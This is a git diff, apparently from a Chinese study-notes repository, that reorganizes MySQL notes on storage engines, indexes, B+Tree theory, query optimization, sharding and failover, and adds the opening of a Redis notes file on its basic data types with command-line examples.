* [4. 时间和日期](#4-时间和日期)
|
||||
* [索引](#索引)
|
||||
* [1. 索引分类](#1-索引分类)
|
||||
* [1.1 B-Tree 索引](#11-b-tree-索引)
|
||||
* [1.2 哈希索引](#12-哈希索引)
|
||||
* [1.3. 空间索引(R-Tree)](#13-空间索引r-tree)
|
||||
* [1.4 全文索引](#14-全文索引)
|
||||
* [2. 索引的优点](#2-索引的优点)
|
||||
* [3. 索引优化](#3-索引优化)
|
||||
* [3.1 独立的列](#31-独立的列)
|
||||
* [3.2 前缀索引](#32-前缀索引)
|
||||
* [3.3 多列索引](#33-多列索引)
|
||||
* [3.4 索引列的顺序](#34-索引列的顺序)
|
||||
* [3.5 聚簇索引](#35-聚簇索引)
|
||||
* [3.6 覆盖索引](#36-覆盖索引)
|
||||
* [4. B-Tree 和 B+Tree 原理](#4-b-tree-和-b+tree-原理)
|
||||
* [4. 1 B-Tree](#4-1-b-tree)
|
||||
* [4.2 B+Tree](#42-b+tree)
|
||||
* [4.3 带有顺序访问指针的 B+Tree](#43-带有顺序访问指针的-b+tree)
|
||||
* [4.4 为什么使用 B-Tree 和 B+Tree](#44-为什么使用-b-tree-和-b+tree)
|
||||
* [查询性能优化](#查询性能优化)
|
||||
* [1. Explain](#1-explain)
|
||||
* [2. 减少返回的列](#2-减少返回的列)
|
||||
* [3. 减少返回的行](#3-减少返回的行)
|
||||
* [4. 拆分大的 DELETE 或 INSERT 语句](#4-拆分大的-delete-或-insert-语句)
|
||||
* [分库与分表](#分库与分表)
|
||||
* [故障转移和故障恢复](#故障转移和故障恢复)
|
||||
* [1. 故障转移](#1-故障转移)
|
||||
* [2. 故障恢复](#2-故障恢复)
|
||||
* [一、存储引擎](#一存储引擎)
|
||||
* [InnoDB](#innodb)
|
||||
* [MyISAM](#myisam)
|
||||
* [比较](#比较)
|
||||
* [二、数据类型](#二数据类型)
|
||||
* [整型](#整型)
|
||||
* [浮点数](#浮点数)
|
||||
* [字符串](#字符串)
|
||||
* [时间和日期](#时间和日期)
|
||||
* [三、索引](#三索引)
|
||||
* [索引分类](#索引分类)
|
||||
* [索引的优点](#索引的优点)
|
||||
* [索引优化](#索引优化)
|
||||
* [B-Tree 和 B+Tree 原理](#b-tree-和-b+tree-原理)
|
||||
* [四、查询性能优化](#四查询性能优化)
|
||||
* [五、切分](#五切分)
|
||||
* [垂直切分](#垂直切分)
|
||||
* [水平切分](#水平切分)
|
||||
* [切分的选择](#切分的选择)
|
||||
* [存在的问题](#存在的问题)
|
||||
* [六、故障转移和故障恢复](#六故障转移和故障恢复)
|
||||
* [参考资料](#参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# 存储引擎
|
||||
# 一、存储引擎
|
||||
|
||||
## 1. InnoDB
|
||||
## InnoDB
|
||||
|
||||
InnoDB 是 MySQL 默认的事务型存储引擎,只有在需要 InnoDB 不支持的特性时,才考虑使用其它存储引擎。
|
||||
|
||||
@ -54,9 +38,9 @@ InnoDB 是 MySQL 默认的事务型存储引擎,只有在需要 InnoDB 不支
|
||||
|
||||
通过一些机制和工具支持真正的热备份。
|
||||
|
||||
## 2. MyISAM
|
||||
## MyISAM
|
||||
|
||||
MyISAM 提供了大量的特性,包括全文索引、压缩、空间函数(GIS)等。但 MyISAM 不支持事务和行级锁,而且崩溃后无法安全恢复。
|
||||
MyISAM 提供了大量的特性,包括全文索引、压缩、空间函数(GIS)等。但 MyISAM 不支持事务和行级锁,而且崩溃后无法安全恢复。应该注意的是,MySQL5.6.4 添加了对 InnoDB 引擎的全文索引支持。
|
||||
|
||||
只能对整张表加锁,而不是针对行。
|
||||
|
||||
@ -72,43 +56,29 @@ MyISAM 提供了大量的特性,包括全文索引、压缩、空间函数(G
|
||||
|
||||
MyISAM 设计简单,数据以紧密格式存储,所以在某些场景下性能很好。
|
||||
|
||||
## 3. InnoDB 与 MyISAM 的比较
|
||||
## 比较
|
||||
|
||||
**事务**
|
||||
1. 事务:InnoDB 是事务型的。
|
||||
2. 备份:InnoDB 支持在线热备份。
|
||||
3. 崩溃恢复:MyISAM 崩溃后发生损坏的概率比 InnoDB 高很多,而且恢复的速度也更慢。
|
||||
4. 并发:MyISAM 只支持表级锁,而 InnoDB 还支持行级锁。
|
||||
5. 其它特性:MyISAM 支持,地理空间索引。
|
||||
|
||||
InnoDB 是事务型的。
|
||||
# 二、数据类型
|
||||
|
||||
**备份**
|
||||
|
||||
InnoDB 支持在线热备份。
|
||||
|
||||
**崩溃恢复**
|
||||
|
||||
MyISAM 崩溃后发生损坏的概率比 InnoDB 高很多,而且恢复的速度也更慢。
|
||||
|
||||
**并发**
|
||||
|
||||
MyISAM 只支持表级锁,而 InnoDB 还支持行级锁。
|
||||
|
||||
**其它特性**
|
||||
|
||||
MyISAM 支持全文索引,地理空间索引。
|
||||
|
||||
# 数据类型
|
||||
|
||||
## 1. 整型
|
||||
## 整型
|
||||
|
||||
TINYINT, SMALLINT, MEDIUMINT, INT, BIGINT 分别使用 8, 16, 24, 32, 64 位存储空间,一般情况下越小的列越好。
|
||||
|
||||
INT(11) 中的数字只是规定了交互工具显示字符的个数,对于存储和计算来说是没有意义的。
|
||||
|
||||
## 2. 浮点数
|
||||
## 浮点数
|
||||
|
||||
FLOAT 和 DOUBLE 为浮点类型,DECIMAL 为高精度小数类型。CPU 原生支持浮点运算,但是不支持 DECIMAl 类型的计算,因此 DECIMAL 的计算比浮点类型需要更高的代价。
|
||||
|
||||
FLOAT、DOUBLE 和 DECIMAL 都可以指定列宽,例如 DECIMAL(18, 9) 表示总共 18 位,取 9 位存储小数部分,剩下 9 位存储整数部分。
|
||||
|
||||
## 3. 字符串
|
||||
## 字符串
|
||||
|
||||
主要有 CHAR 和 VARCHAR 两种类型,一种是定长的,一种是变长的。
|
||||
|
||||
@ -116,11 +86,11 @@ VARCHAR 这种变长类型能够节省空间,因为只需要存储必要的内
|
||||
|
||||
VARCHAR 会保留字符串末尾的空格,而 CHAR 会删除。
|
||||
|
||||
## 4. 时间和日期
|
||||
## 时间和日期
|
||||
|
||||
MySQL 提供了两种相似的日期时间类型:DATATIME 和 TIMESTAMP。
|
||||
|
||||
**DATATIME**
|
||||
### 1. DATATIME
|
||||
|
||||
能够保存从 1001 年到 9999 年的日期和时间,精度为秒,使用 8 字节的存储空间。
|
||||
|
||||
@ -128,7 +98,7 @@ MySQL 提供了两种相似的日期时间类型:DATATIME 和 TIMESTAMP。
|
||||
|
||||
默认情况下,MySQL 以一种可排序的、无歧义的格式显示 DATATIME 值,例如“2008-01-16 22:37:08”,这是 ANSI 标准定义的日期和时间表示方法。
|
||||
|
||||
**TIMESTAMP**
|
||||
### 2. TIMESTAMP
|
||||
|
||||
和 UNIX 时间戳相同,保存从 1970 年 1 月 1 日午夜(格林威治时间)以来的秒数,使用 4 个字节,只能表示从 1970 年 到 2038 年。
|
||||
|
||||
@ -140,7 +110,7 @@ MySQL 提供了 FROM_UNIXTIME() 函数把 UNIX 时间戳转换为日期,并提
|
||||
|
||||
应该尽量使用 TIMESTAMP,因为它比 DATETIME 空间效率更高。
|
||||
|
||||
# 索引
|
||||
# 三、索引
|
||||
|
||||
索引是在存储引擎层实现的,而不是在服务器层实现的,所以不同存储引擎具有不同的索引类型和实现。
|
||||
|
||||
@ -148,43 +118,47 @@ MySQL 提供了 FROM_UNIXTIME() 函数把 UNIX 时间戳转换为日期,并提
|
||||
|
||||
对于非常小的表、大部分情况下简单的全表扫描比建立索引更高效。对于中到大型的表,索引就非常有效。但是对于特大型的表,建立和使用索引的代价将会随之增长。这种情况下,需要用到一种技术可以直接区分出需要查询的一组数据,而不是一条记录一条记录地匹配,例如可以使用分区技术。
|
||||
|
||||
## 1. 索引分类
|
||||
## 索引分类
|
||||
|
||||
### 1.1 B-Tree 索引
|
||||
### 1. B+Tree 索引
|
||||
|
||||
B-Tree 索引是大多数 MySQL 存储引擎的默认索引类型。
|
||||
<div align="center"> <img src="../pics//c23957e9-a572-44f8-be15-f306c8b92722.jpg"/> </div><br>
|
||||
|
||||
《高性能 MySQL》一书使用 B-Tree 进行描述,其实从技术上来说这种索引是 B+Tree。
|
||||
|
||||
B+Tree 索引是大多数 MySQL 存储引擎的默认索引类型。
|
||||
|
||||
因为不再需要进行全表扫描,只需要对树进行搜索即可,因此查找速度快很多。
|
||||
|
||||
可以指定多个列作为索引列,多个索引列共同组成键。B-Tree 索引适用于全键值、键值范围和键前缀查找,其中键前缀查找只适用于最左前缀查找。
|
||||
可以指定多个列作为索引列,多个索引列共同组成键。B+Tree 索引适用于全键值、键值范围和键前缀查找,其中键前缀查找只适用于最左前缀查找。
|
||||
|
||||
除了用于查找,还可以用于排序和分组。
|
||||
|
||||
如果不是按照索引列的顺序进行查找,则无法使用索引。
|
||||
|
||||
### 1.2 哈希索引
|
||||
### 2. 哈希索引
|
||||
|
||||
基于哈希表实现,优点是查找非常快。
|
||||
|
||||
在 MySQL 中只有 Memory 引擎显式支持哈希索引。
|
||||
|
||||
InnoDB 引擎有一个特殊的功能叫“自适应哈希索引”,当某个索引值被使用的非常频繁时,会在 B-Tree 索引之上再创建一个哈希索引,这样就让 B-Tree 索引具有哈希索引的一些优点,比如快速的哈希查找。
|
||||
InnoDB 引擎有一个特殊的功能叫“自适应哈希索引”,当某个索引值被使用的非常频繁时,会在 B+Tree 索引之上再创建一个哈希索引,这样就让 B+Tree 索引具有哈希索引的一些优点,比如快速的哈希查找。
|
||||
|
||||
限制:哈希索引只包含哈希值和行指针,而不存储字段值,所以不能使用索引中的值来避免读取行。不过,访问内存中的行的速度很快,所以大部分情况下这一点对性能影响并不明显;无法用于分组与排序;只支持精确查找,无法用于部分查找和范围查找;如果哈希冲突很多,查找速度会变得很慢。
|
||||
|
||||
### 1.3. 空间索引(R-Tree)
|
||||
### 3. 空间索引(R-Tree)
|
||||
|
||||
MyISAM 存储引擎支持空间索引,可以用于地理数据存储。
|
||||
|
||||
空间索引会从所有维度来索引数据,可以有效地使用任意维度来进行组合查询。
|
||||
|
||||
### 1.4 全文索引
|
||||
### 4. 全文索引
|
||||
|
||||
MyISAM 存储引擎支持全文索引,用于查找文本中的关键词,而不是直接比较索引中的值。
|
||||
|
||||
使用 MATCH AGAINST,而不是普通的 WHERE。
|
||||
|
||||
## 2. 索引的优点
|
||||
## 索引的优点
|
||||
|
||||
- 大大减少了服务器需要扫描的数据量;
|
||||
|
||||
@ -192,9 +166,9 @@ MyISAM 存储引擎支持全文索引,用于查找文本中的关键词,而
|
||||
|
||||
- 将随机 I/O 变为顺序 I/O。
|
||||
|
||||
## 3. 索引优化
|
||||
## 索引优化
|
||||
|
||||
### 3.1 独立的列
|
||||
### 1. 独立的列
|
||||
|
||||
在进行查询时,索引列不能是表达式的一部分,也不能是函数的参数,否则无法使用索引。
|
||||
|
||||
@ -204,22 +178,22 @@ MyISAM 存储引擎支持全文索引,用于查找文本中的关键词,而
|
||||
SELECT actor_id FROM sakila.actor WHERE actor_id + 1 = 5;
|
||||
```
|
||||
|
||||
### 3.2 前缀索引
|
||||
### 2. 前缀索引
|
||||
|
||||
对于 BLOB、TEXT 和 VARCHAR 类型的列,必须使用前缀索引,只索引开始的部分字符。
|
||||
|
||||
对于前缀长度的选取需要根据 **索引选择性** 来确定:不重复的索引值和记录总数的比值。选择性越高,查询效率也越高。最大值为 1 ,此时每个记录都有唯一的索引与其对应。
|
||||
对于前缀长度的选取需要根据 **索引选择性** 来确定:不重复的索引值和记录总数的比值。选择性越高,查询效率也越高。最大值为 1,此时每个记录都有唯一的索引与其对应。
|
||||
|
||||
### 3.3 多列索引
|
||||
### 3. 多列索引
|
||||
|
||||
在需要使用多个列作为条件进行查询时,使用多列索引比使用多个单列索引性能更好。例如下面的语句中,最好把 actor_id 和 file_id 设置为多列索引。
|
||||
在需要使用多个列作为条件进行查询时,使用多列索引比使用多个单列索引性能更好。例如下面的语句中,最好把 actor_id 和 film_id 设置为多列索引。
|
||||
|
||||
```sql
|
||||
SELECT file_id, actor_ id FROM sakila.film_actor
|
||||
WhERE actor_id = 1 OR film_id = 1;
|
||||
SELECT film_id, actor_ id FROM sakila.film_actor
|
||||
WhERE actor_id = 1 AND film_id = 1;
|
||||
```
|
||||
|
||||
### 3.4 索引列的顺序
|
||||
### 4. 索引列的顺序
|
||||
|
||||
让选择性最强的索引列放在前面,例如下面显示的结果中 customer_id 的选择性比 staff_id 更高,因此最好把 customer_id 列放在多列索引的前面。
|
||||
|
||||
@ -236,20 +210,20 @@ customer_id_selectivity: 0.0373
|
||||
COUNT(*): 16049
|
||||
```
|
||||
|
||||
### 3.5 聚簇索引
|
||||
### 5. 聚簇索引
|
||||
|
||||
<div align="center"> <img src="../pics//b9e9ae8c-e216-4c01-b267-a50dbeb98fa4.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//e800b001-7779-495b-8459-d33a7440d7b8.jpg"/> </div><br>
|
||||
|
||||
聚簇索引并不是一种索引类型,而是一种数据存储方式。
|
||||
|
||||
术语“聚簇”表示数据行和相邻的键值紧密地存储在一起,InnoDB 的聚簇索引的数据行存放在 B-Tree 的叶子页中。
|
||||
术语“聚簇”表示数据行和相邻的键值紧密地存储在一起,InnoDB 的聚簇索引的数据行存放在 B+Tree 的叶子页中。
|
||||
|
||||
因为无法把数据行存放在两个不同的地方,所以一个表只能有一个聚簇索引。
|
||||
|
||||
**优点**
|
||||
|
||||
1. 可以把相关数据保存在一起,减少 I/O 操作;
|
||||
2. 因为数据保存在 B-Tree 中,因此数据访问更快。
|
||||
2. 因为数据保存在 B+Tree 中,因此数据访问更快。
|
||||
|
||||
**缺点**
|
||||
|
||||
@ -259,13 +233,19 @@ customer_id_selectivity: 0.0373
|
||||
4. 当插入到某个已满的页中,存储引擎会将该页分裂成两个页面来容纳该行,页分裂会导致表占用更多的磁盘空间。
|
||||
5. 如果行比较稀疏,或者由于页分裂导致数据存储不连续时,聚簇索引可能导致全表扫描速度变慢。
|
||||
|
||||
### 3.6 覆盖索引
|
||||
### 6. 覆盖索引
|
||||
|
||||
索引包含所有需要查询的字段的值。
|
||||
|
||||
## 4. B-Tree 和 B+Tree 原理
|
||||
**优点**
|
||||
|
||||
### 4. 1 B-Tree
|
||||
1. 因为索引条目通常远小于数据行的大小,所以若只读取索引,能大大减少数据访问量。
|
||||
2. 一些存储引擎(例如 MyISAM)在内存中只缓存索引,而数据依赖于操作系统来缓存。因此,只访问索引可以不使用系统调用(通常比较费时)。
|
||||
3. 对于 InnoDB 引擎,若二级索引能够覆盖查询,则无需访问聚簇索引。
|
||||
|
||||
## B-Tree 和 B+Tree 原理
|
||||
|
||||
### 1. B-Tree
|
||||
|
||||
<div align="center"> <img src="../pics//5ed71283-a070-4b21-85ae-f2cbfd6ba6e1.jpg"/> </div><br>
|
||||
|
||||
@ -281,7 +261,7 @@ B-Tree 是满足下列条件的数据结构:
|
||||
|
||||
由于插入删除新的数据记录会破坏 B-Tree 的性质,因此在插入删除时,需要对树进行一个分裂、合并、转移等操作以保持 B-Tree 性质。
|
||||
|
||||
### 4.2 B+Tree
|
||||
### 2. B+Tree
|
||||
|
||||
<div align="center"> <img src="../pics//63cd5b50-d6d8-4df6-8912-ef4a1dd5ba13.jpg"/> </div><br>
|
||||
|
||||
@ -290,25 +270,25 @@ B-Tree 是满足下列条件的数据结构:
|
||||
- 每个节点的指针上限为 2d 而不是 2d+1;
|
||||
- 内节点不存储 data,只存储 key,叶子节点不存储指针。
|
||||
|
||||
### 4.3 带有顺序访问指针的 B+Tree
|
||||
### 3. 带有顺序访问指针的 B+Tree
|
||||
|
||||
<div align="center"> <img src="../pics//1ee5f0a5-b8df-43b9-95ab-c516c54ec797.jpg"/> </div><br>
|
||||
|
||||
一般在数据库系统或文件系统中使用的 B+Tree 结构都在经典 B+Tree 基础上进行了优化,在叶子节点增加了顺序访问指针,做这个优化的目的是为了提高区间访问的性能。
|
||||
|
||||
### 4.4 为什么使用 B-Tree 和 B+Tree
|
||||
### 4. 为什么使用 B-Tree 和 B+Tree
|
||||
|
||||
红黑树等数据结构也可以用来实现索引,但是文件系统及数据库系统普遍采用 B-/+Tree 作为索引结构。
|
||||
|
||||
页是计算机管理存储器的逻辑块,硬件及操作系统往往将主存和磁盘存储区分割为连续的大小相等的块,每个存储块称为一页(在许多操作系统中,页得大小通常为 4k),主存和磁盘以页为单位交换数据。
|
||||
页是计算机管理存储器的逻辑块,硬件及操作系统往往将主存和磁盘存储区分割为连续的大小相等的块,每个存储块称为一页(在许多操作系统中,页的大小通常为 4k),主存和磁盘以页为单位交换数据。
|
||||
|
||||
一般来说,索引本身也很大,不可能全部存储在内存中,因此索引往往以索引文件的形式存储的磁盘上。为了减少磁盘 I/O,磁盘往往不是严格按需读取,而是每次都会预读。这样做的理论依据是计算机科学中著名的局部性原理:当一个数据被用到时,其附近的数据也通常会马上被使用。数据库系统的设计者巧妙利用了磁盘预读原理,将一个节点的大小设为等于一个页,这样每个节点只需要一次 I/O 就可以完全载入。B-Tree 中一次检索最多需要 h-1 次 I/O(根节点常驻内存),渐进复杂度为 O(h)=O(logdN)。一般实际应用中,出度 d 是非常大的数字,通常超过 100,因此 h 非常小(通常不超过 3)。而红黑树这种结构,h 明显要深的多。并且于逻辑上很近的节点(父子)物理上可能很远,无法利用局部性,效率明显比 B-Tree 差很多。
|
||||
一般来说,索引本身也很大,不可能全部存储在内存中,因此索引往往以索引文件的形式存储的磁盘上。为了减少磁盘 I/O,磁盘往往不是严格按需读取,而是每次都会预读。这样做的理论依据是计算机科学中著名的局部性原理:当一个数据被用到时,其附近的数据也通常会马上被使用。数据库系统的设计者巧妙利用了磁盘预读原理,将一个节点的大小设为等于一个页,这样每个节点只需要一次 I/O 就可以完全载入。B-Tree 中一次检索最多需要 h-1 次 I/O(根节点常驻内存),渐进复杂度为 O(h)=O(log<sub>d</sub>N)。一般实际应用中,出度 d 是非常大的数字,通常超过 100,因此 h 非常小(通常不超过 3)。而红黑树这种结构,h 明显要深的多。并且于逻辑上很近的节点(父子)物理上可能很远,无法利用局部性,效率明显比 B-Tree 差很多。
|
||||
|
||||
B+Tree 更适合外存索引,原因和内节点出度 d 有关。由于 B+Tree 内节点去掉了 data 域,因此可以拥有更大的出度,拥有更好的性能。
|
||||
|
||||
# 查询性能优化
|
||||
# 四、查询性能优化
|
||||
|
||||
## 1. Explain
|
||||
### Explain
|
||||
|
||||
用来分析 SQL 语句,分析结果中比较重要的字段有:
|
||||
|
||||
@ -318,29 +298,30 @@ B+Tree 更适合外存索引,原因和内节点出度 d 有关。由于 B+Tree
|
||||
|
||||
- rows : 扫描的行数
|
||||
|
||||
## 2. 减少返回的列
|
||||
### 减少返回的列
|
||||
|
||||
慢查询主要是因为访问了过多数据,除了访问过多行之外,也包括访问过多列。
|
||||
|
||||
最好不要使用 SELECT * 语句,要根据需要选择查询的列。
|
||||
|
||||
## 3. 减少返回的行
|
||||
### 减少返回的行
|
||||
|
||||
最好使用 LIMIT 语句来取出想要的那些行。
|
||||
|
||||
还可以建立索引来减少条件语句的全表扫描。例如对于下面的语句,不适用索引的情况下需要进行全表扫描,而使用索引只需要扫描几行记录即可,使用 Explain 语句可以通过观察 rows 字段来看出这种差异。
|
||||
还可以建立索引来减少条件语句的全表扫描。例如对于下面的语句,不使用索引的情况下需要进行全表扫描,而使用索引只需要扫描几行记录即可,使用 Explain 语句可以通过观察 rows 字段来看出这种差异。
|
||||
|
||||
```sql
|
||||
SELECT * FROM sakila.film_actor WHERE film_id = 1;
|
||||
```
|
||||
|
||||
## 4. 拆分大的 DELETE 或 INSERT 语句
|
||||
### 拆分大的 DELETE 或 INSERT 语句
|
||||
|
||||
如果一次性执行的话,可能一次锁住很多数据、占满整个事务日志、耗尽系统资源、阻塞很多小的但重要的查询。
|
||||
|
||||
```sql
|
||||
DELEFT FROM messages WHERE create < DATE_SUB(NOW(), INTERVAL 3 MONTH);
|
||||
```
|
||||
|
||||
```sql
|
||||
rows_affected = 0
|
||||
do {
|
||||
@ -349,74 +330,64 @@ do {
|
||||
} while rows_affected > 0
|
||||
```
|
||||
|
||||
# 分库与分表
|
||||
# 五、切分
|
||||
|
||||
**1. 分表与分区的不同**
|
||||
|
||||
分表,就是讲一张表分成多个小表,这些小表拥有不同的表名;而分区是将一张表的数据分为多个区块,这些区块可以存储在同一个磁盘上,也可以存储在不同的磁盘上,这种方式下表仍然只有一个。
|
||||
|
||||
**2. 使用分库与分表的原因**
|
||||
|
||||
随着时间和业务的发展,数据库中的表会越来越多,并且表中的数据量也会越来越大,那么读写操作的开销也会随着增大。
|
||||
|
||||
**3. 垂直切分**
|
||||
## 垂直切分
|
||||
|
||||
将表按功能模块、关系密切程度划分出来,部署到不同的库上。例如,我们会建立商品数据库 payDB、用户数据库 userDB 等,分别用来存储项目与商品有关的表和与用户有关的表。
|
||||
|
||||
**4. 水平切分**
|
||||
## 水平切分
|
||||
|
||||
把表中的数据按照某种规则存储到多个结构相同的表中,例如按 id 的散列值、性别等进行划分,
|
||||
把表中的数据按照某种规则存储到多个结构相同的表中,例如按 id 的散列值、性别等进行划分。
|
||||
|
||||
**5. 垂直切分与水平切分的选择**
|
||||
## 切分的选择
|
||||
|
||||
如果数据库中的表太多,并且项目各项业务逻辑清晰,那么垂直切分是首选。
|
||||
|
||||
如果数据库的表不多,但是单表的数据量很大,应该选择水平切分。
|
||||
|
||||
**6. 水平切分的实现方式**
|
||||
## 存在的问题
|
||||
|
||||
最简单的是使用 merge 存储引擎。
|
||||
|
||||
**7. 分库与分表存在的问题**
|
||||
|
||||
(1) 事务问题
|
||||
### 1. 事务问题
|
||||
|
||||
在执行分库分表之后,由于数据存储到了不同的库上,数据库事务管理出现了困难。如果依赖数据库本身的分布式事务管理功能去执行事务,将付出高昂的性能代价;如果由应用程序去协助控制,形成程序逻辑上的事务,又会造成编程方面的负担。
|
||||
|
||||
(2) 跨库跨表连接问题
|
||||
### 2. 跨库跨表连接问题
|
||||
|
||||
在执行了分库分表之后,难以避免会将原本逻辑关联性很强的数据划分到不同的表、不同的库上。这时,表的连接操作将受到限制,我们无法连接位于不同分库的表,也无法连接分表粒度不同的表,导致原本只需要一次查询就能够完成的业务需要进行多次才能完成。
|
||||
|
||||
# 故障转移和故障恢复
|
||||
### 3. 额外的数据管理负担和数据运算压力
|
||||
|
||||
最显而易见的就是数据的定位问题和数据的增删改查的重复执行问题,这些都可以通过应用程序解决,但必然引起额外的逻辑运算。
|
||||
|
||||
|
||||
# 六、故障转移和故障恢复
|
||||
|
||||
故障转移也叫做切换,当主库出现故障时就切换到备库,使备库成为主库。故障恢复顾名思义就是从故障中恢复过来,并且保证数据的正确性。
|
||||
|
||||
## 1. 故障转移
|
||||
|
||||
**1.1 提升备库或切换角色**
|
||||
### 提升备库或切换角色
|
||||
|
||||
提升一台备库为主库,或者在一个主-主复制结构中调整主动和被动角色。
|
||||
|
||||
**1.2 虚拟 IP 地址和 IP 托管**
|
||||
### 虚拟 IP 地址和 IP 托管
|
||||
|
||||
为 MySQL 实例指定一个逻辑 IP 地址,当 MySQL 实例失效时,可以将 IP 地址转移到另一台 MySQL 服务器上。
|
||||
|
||||
**1.3 中间件解决方案**
|
||||
### 中间件解决方案
|
||||
|
||||
通过代理,可以路由流量到可以使用的服务器上。
|
||||
|
||||
<div align="center"> <img src="../pics//fabd5fa0-b75e-48d0-9e2c-31471945ceb9.jpg"/> </div><br>
|
||||
|
||||
**1.4 在应用中处理故障转移**
|
||||
### 在应用中处理故障转移
|
||||
|
||||
将故障转移整合到应用中可能导致应用变得太过笨拙。
|
||||
|
||||
## 2. 故障恢复
|
||||
|
||||
|
||||
# 参考资料
|
||||
|
||||
- 高性能 MySQL
|
||||
- BaronScbwartz, PeterZaitsev, VadimTkacbenko, 等. 高性能 MySQL[M]. 电子工业出版社, 2013.
|
||||
- [How Sharding Works](https://medium.com/@jeeyoungk/how-sharding-works-b4dec46b3f6)
|
||||
- [MySQL 索引背后的数据结构及算法原理 ](http://blog.codinglabs.org/articles/theory-of-mysql-index.html)
|
||||
- [MySQL 索引优化全攻略 ](http://www.runoob.com/w3cnote/mysql-index.html)
|
||||
- [20+ 条 MySQL 性能优化的最佳经验 ](https://www.jfox.info/20-tiao-mysql-xing-nen-you-hua-de-zui-jia-jing-yan.html)
|
||||
- [数据库为什么分库分表?mysql的分库分表方案](https://www.i3geek.com/archives/1108)
|
||||
|
474
notes/Redis.md
Normal file
@ -0,0 +1,474 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [一、Redis 是什么](#一redis-是什么)
|
||||
* [二、五种基本类型](#二五种基本类型)
|
||||
* [1. STRING](#1-string)
|
||||
* [2. LIST](#2-list)
|
||||
* [3. SET](#3-set)
|
||||
* [4. HASH](#4-hash)
|
||||
* [5. ZSET](#5-zset)
|
||||
* [三、键的过期时间](#三键的过期时间)
|
||||
* [四、发布与订阅](#四发布与订阅)
|
||||
* [五、事务](#五事务)
|
||||
* [六、持久化](#六持久化)
|
||||
* [1. 快照持久化](#1-快照持久化)
|
||||
* [2. AOF 持久化](#2-aof-持久化)
|
||||
* [七、复制](#七复制)
|
||||
* [从服务器连接主服务器的过程](#从服务器连接主服务器的过程)
|
||||
* [主从链](#主从链)
|
||||
* [八、处理故障](#八处理故障)
|
||||
* [九、分片](#九分片)
|
||||
* [1. 客户端分片](#1-客户端分片)
|
||||
* [2. 代理分片](#2-代理分片)
|
||||
* [3. 服务器分片](#3-服务器分片)
|
||||
* [十、事件](#十事件)
|
||||
* [事件类型](#事件类型)
|
||||
* [事件的调度与执行](#事件的调度与执行)
|
||||
* [十一、Redis 与 Memcached 的区别](#十一redis-与-memcached-的区别)
|
||||
* [数据类型](#数据类型)
|
||||
* [数据持久化](#数据持久化)
|
||||
* [分布式](#分布式)
|
||||
* [内存管理机制](#内存管理机制)
|
||||
* [十二、Redis 适用场景](#十二redis-适用场景)
|
||||
* [缓存](#缓存)
|
||||
* [消息队列](#消息队列)
|
||||
* [计数器](#计数器)
|
||||
* [好友关系](#好友关系)
|
||||
* [十三、数据淘汰策略](#十三数据淘汰策略)
|
||||
* [十四、一个简单的论坛系统分析](#十四一个简单的论坛系统分析)
|
||||
* [文章信息](#文章信息)
|
||||
* [点赞功能](#点赞功能)
|
||||
* [对文章进行排序](#对文章进行排序)
|
||||
* [参考资料](#参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# 一、Redis 是什么
|
||||
|
||||
Redis 是速度非常快的非关系型(NoSQL)内存键值数据库,可以存储键和五种不同类型的值之间的映射。
|
||||
|
||||
五种类型数据类型为:字符串、列表、集合、有序集合、散列表。
|
||||
|
||||
Redis 支持很多特性,例如将内存中的数据持久化到硬盘中,使用复制来扩展读性能,使用分片来扩展写性能。
|
||||
|
||||
# 二、五种基本类型
|
||||
|
||||
| 数据类型 | 可以存储的值 | 操作 |
|
||||
| :--: | :--: | :--: |
|
||||
| STRING | 字符串、整数或者浮点数 | 对整个字符串或者字符串的其中一部分执行操作</br> 对整数和浮点数执行自增或者自减操作 |
|
||||
| LIST | 链表 | 从两端压入或者弹出元素</br> 读取单个或者多个元素</br> 进行修剪,只保留一个范围内的元素 |
|
||||
| SET | 无序集合 | 添加、获取、移除单个元素</br> 检查一个元素是否存在于集合中</br> 计算交集、并集、差集</br> 从集合里面随机获取元素 |
|
||||
| HASH | 包含键值对的无序散列表 | 添加、获取、移除单个键值对</br> 获取所有键值对</br> 检查某个键是否存在|
|
||||
| ZSET | 有序集合 | 添加、获取、删除元素</br> 根据分值范围或者成员来获取元素</br> 计算一个键的排名 |
|
||||
|
||||
> [What Redis data structures look like](https://redislabs.com/ebook/part-1-getting-started/chapter-1-getting-to-know-redis/1-2-what-redis-data-structures-look-like/)
|
||||
|
||||
## 1. STRING
|
||||
|
||||
<div align="center"> <img src="../pics//6019b2db-bc3e-4408-b6d8-96025f4481d6.png" width="400"/> </div><br>
|
||||
|
||||
```html
|
||||
> set hello world
|
||||
OK
|
||||
> get hello
|
||||
"world"
|
||||
> del hello
|
||||
(integer) 1
|
||||
> get hello
|
||||
(nil)
|
||||
```
|
||||
|
||||
## 2. LIST
|
||||
|
||||
<div align="center"> <img src="../pics//fb327611-7e2b-4f2f-9f5b-38592d408f07.png" width="400"/> </div><br>
|
||||
|
||||
```html
|
||||
> rpush list-key item
|
||||
(integer) 1
|
||||
> rpush list-key item2
|
||||
(integer) 2
|
||||
> rpush list-key item
|
||||
(integer) 3
|
||||
|
||||
> lrange list-key 0 -1
|
||||
1) "item"
|
||||
2) "item2"
|
||||
3) "item"
|
||||
|
||||
> lindex list-key 1
|
||||
"item2"
|
||||
|
||||
> lpop list-key
|
||||
"item"
|
||||
|
||||
> lrange list-key 0 -1
|
||||
1) "item2"
|
||||
2) "item"
|
||||
```
|
||||
|
||||
## 3. SET
|
||||
|
||||
<div align="center"> <img src="../pics//cd5fbcff-3f35-43a6-8ffa-082a93ce0f0e.png" width="400"/> </div><br>
|
||||
|
||||
```html
|
||||
> sadd set-key item
|
||||
(integer) 1
|
||||
> sadd set-key item2
|
||||
(integer) 1
|
||||
> sadd set-key item3
|
||||
(integer) 1
|
||||
> sadd set-key item
|
||||
(integer) 0
|
||||
|
||||
> smembers set-key
|
||||
1) "item"
|
||||
2) "item2"
|
||||
3) "item3"
|
||||
|
||||
> sismember set-key item4
|
||||
(integer) 0
|
||||
> sismember set-key item
|
||||
(integer) 1
|
||||
|
||||
> srem set-key item2
|
||||
(integer) 1
|
||||
> srem set-key item2
|
||||
(integer) 0
|
||||
|
||||
> smembers set-key
|
||||
1) "item"
|
||||
2) "item3"
|
||||
```
|
||||
|
||||
## 4. HASH
|
||||
|
||||
